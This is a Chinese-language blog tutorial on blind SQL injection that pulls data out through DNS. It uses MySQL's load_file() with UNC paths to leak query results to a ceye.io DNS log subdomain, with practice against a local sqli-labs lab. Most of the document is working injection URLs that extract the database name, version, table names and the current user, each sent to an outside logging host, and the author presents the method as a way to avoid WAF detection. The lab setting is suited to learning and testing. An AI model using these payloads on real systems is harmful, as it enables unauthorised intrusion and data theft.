SQL注入奇淫技巧——利用dnslog获取看不到的信息

2018-06-18  本文已影响0人  zzqsmile

对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。于是最近学习了一种sql盲注的奇淫技巧。

step1. 介绍CEYE平台

网址:http://ceye.io/

1.png

一级域名是要钱的也是人家的,二级域名就不要钱了,你注册一个帐号,它可以给你分配一个二级域名,这个大家应该知道吧,给大家提点一下,希望有助于大家理解.

2.png

比如浏览器访问http://zzqsmile.xxxxx.ceye.io/,如下图所示:

3.png 4.png

此时我相信你已经理解这个平台的作用了吧,其实就是一个dns解析服务器,只不过只能访问xxxxx.ceye.io及其子域名,才会产生dns日志而已。其他的暂不解释,接着我们今天要将的SQL盲注奇淫技巧。

step2. load_file(filename)函数

相信学习过通过sql注入读写服务器文件的对这个函数应该不陌生,在这我再简单提一下这个函数的作用。

实际上load_file()函数还可以用来发送dns解析请求,接下来就实际尝试一下。

5.png

上面拼接的结果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了

step3. sqli-labs靶场练习
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
6.png

-获取数据库security中的表

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
7.png

值得说的是,这种方法不能同时查询多个结果,因此需要使用limit来控制每次查询一条结果。

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
8.png 图片.png

那么现在明白为什么查询user()查询不到了吧,而我现在找到的解决办法是将查询的结果通过base64编码输出出来,但是这个需要mysql版本大于5.6.1才能使用to_base64()编码函数,而我现在的数据库版本是5.5.53,无奈再次就不再演示了,顺便在说下base64解码函数from_base64()

图片.png
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
图片.png

将查询数据hex()解密一下看看,nice,没错是root@locakhost

图片.png

好了,今天的奇淫技巧就到这,大家没事也可以尝试尝试,总结总结,不过友情提示:今天这个奇淫技巧对与window服务器是没问题的,但是Linux服务器貌似不行,至于是什么原因,好像是由于unc的缘故,大家可以去Google或者百度一下unc,笔者有时间也会再去深入研究其原因和其局限性,到时候再更新补充吧。

上一篇 下一篇

猜你喜欢

热点阅读